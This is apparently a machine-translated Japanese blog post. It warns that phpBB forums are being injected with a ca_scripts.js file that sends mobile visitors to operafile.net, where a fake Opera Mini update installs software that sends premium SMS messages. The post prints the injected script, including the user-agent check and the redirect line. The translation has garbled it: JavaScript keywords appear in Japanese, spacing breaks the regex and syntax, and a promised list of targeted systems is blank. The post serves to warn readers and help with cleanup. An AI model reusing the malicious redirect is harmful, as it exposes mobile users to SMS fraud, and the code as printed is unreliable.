Opera Miniアップデート-インストールしていない場合でも

みなさんこんにちは!

お使いのモバイルフレンドからOperaの更新を求められますか? 信じないでください-これは嘘です! 注意してください!

PHPBBの脆弱性を見つけました。 私はそれがどこにあるのかわかりません-しかしそれはそれです。 この脆弱性の助けを借りて、 ca_scripts.jsスクリプトがフォーラムのエンジンに注がれたり作成されたりします。好きなように呼び出すことができると思います。 もう少し低く、投稿します。



その本質は、ユーザーがサイトにアクセスすると、スクリプトがnavigator.userAgent.match関数を使用してオペレーティングシステムを決定することです。 オペレーティングシステムが次のリストに適合する場合:



その後、彼はoperafile.netにリダイレクトし、/ u / [ID]を追加します(明らかに、統計情報は保持されます)。 次に、Opera Miniをインストールしていない場合でも、 Opera Miniを更新するためのオファーが作成されます。 Operaインストーラーと非常によく似たアップデートをダウンロードした後、バックグラウンドでSMSを短い番号に送信するソフトウェアをインストールしますが、メルセデスに勝つためではなく、アカウントを空にするためです。

operafile.netにアクセスすると、google.comにリダイレクトされます。



ウェブマスター向け。 この投稿を読んでいる場合は、operafile.netドメインと他の(=がわからない)ドメインを含むすべてのスクリプトを見つけるために、一般公開で「夢中になる」ことをお勧めします。 または、日付で分析します。



ここにスクリプト自体があります



 var ca_item;
 var ca_item2;
 var ca_list;
 if(navigator.userAgent.match(/(android | midp | j2me | symbian | series 60 | symbos | windows mobile | windows ce | ppc |スマートフォン| blackberry | mtk)/ i)!== null){
   window.location = "http://operafile.net/u/1013";
 }
 onload_functions [onload_functions.length] = 'ca_resize_images();';

 //画像のサイズを変更します
関数ca_resize_images()
 {
     var i、limit、diff;
    制限= 600;
     diff = 225;
     ca_item = document.getElementById( 'contentrow');
     if(ca_item && ca_item.clientWidth)
     {
         limit = ca_item.clientWidth-diff;
     }
     if(制限<500)
     {
        制限= 500;
     }
     if(document.body.clientWidth && document.body.clientWidth <(limit + diff)&& document.body.clientWidth> 800)
     {
         limit = document.body.clientWidth-diff;
     }
     else if(window.innerWidth && window.innerWidth <(limit + diff)&& window.innerWidth> 800)
     {
         limit = window.innerWidth-diff;
     }
     / * IE6制限の修正* /
     if(!window.XMLHttpRequest && limit> 1500)
     {
        制限= 800;
     }
     if(ca_main_width && ca_main_width.indexOf( '%')== -1)
     {
         ca_main_width.replace(/ px /、 '');
         if(ca_main_width> 0)
         {
             limit = ca_main_width-diff;
         }
     }
     if(ca_item)
     {
         ca_list = ca_item.getElementsByTagName( 'img');
     }
    他に
     {
         ca_list = document.getElementsByTagName( 'img');
     }
     for(i = 0; i <ca_list.length; i ++)
     {
         ca_item = ca_list [i];
         if(ca_item.width> limit)
         {
             if(document.all) 
             { 
                 ca_item.style.cursor = 'hand'; 
             }
            他に
             { 
                 ca_item.style.cursor = 'pointer'; 
             }
             ca_item.style.width =(limit-50)+ 'px';
             ca_item.onclick = function(){ 
                 window.open(this.src、 'image'、 'width = 700、height = 500、resizable = 1、scrollbars = 1');
             }
         }
     }
 }



All Articles